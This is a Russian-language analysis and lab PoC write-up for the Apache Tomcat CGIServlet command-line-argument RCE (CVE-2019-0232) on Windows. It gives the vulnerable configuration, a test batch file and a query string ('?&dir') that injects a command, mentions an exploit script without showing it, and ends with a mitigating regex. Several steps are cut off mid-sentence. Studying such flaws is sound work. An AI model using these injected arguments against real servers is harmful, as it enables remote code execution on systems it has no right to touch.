
Анализ уязвимости и PoC для Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (RCE)
Анализ уязвимости и PoC для Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (RCE)
Видео PoC доступно по адресу https://www.youtube.com/watch?v=RA7kzuHOWqA
Apache Tomcat содержит уязвимость в CGI-сервлете, которая может быть использована для удаленного выполнения кода (RCE). Эта уязвимость проявляется только при работе на Windows в нестандартной конфигурации совместно с пакетными файлами. Common Gateway Interface (CGI) — это стандартный протокол, позволяющий веб-серверам выполнять программы/скрипты командной строки через веб-запросы. Этот протокол также позволяет передавать аргументы командной строки скрипту или программе через параметры URL. Сам протокол определён в RFC 3875. При работе на Windows с включенным enableCmdLineArguments CGI-сервлет в Apache Tomcat уязвим для RCE из-за ошибки в том, как JRE передает аргументы командной строки в Windows. CGI-сервлет отключен по умолчанию. Опция CGI enableCmdLineArguments отключена по умолчанию в Tomcat 9.0.x (и будет отключена по умолчанию во всех версиях в ответ на эту уязвимость).
Видео PoC доступно по адресу https://www.youtube.com/watch?v=RA7kzuHOWqA
a. Измените conf/context.xml и установите <Context privileged="true">

b. Внесите следующие изменения в файл /conf/web.xml около строк 366 и 420 соответственно.

enableCmdLineArguments должно быть установлено в True, так как мы используем Tomcat 9.
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
webapps\ROOT\WEB-INF\cgi и добавьте файл ism.bat со следующим содержимым:
@echo off
echo Content-Type: text/plain
echo .
http://localhost:8080/cgi/ism.bat?&dir, чтобы проверить, работает ли сервер.
cve-2019-0232.py, добавив IP-адрес и порт сервера.
Ссылка на видео PoC: https://www.youtube.com/watch?v=RA7kzuHOWqA
[[a-zA-Z0-9\Q-_.\\/:\E]+] для предотвращения выполнения ввода как команд в системах Windows.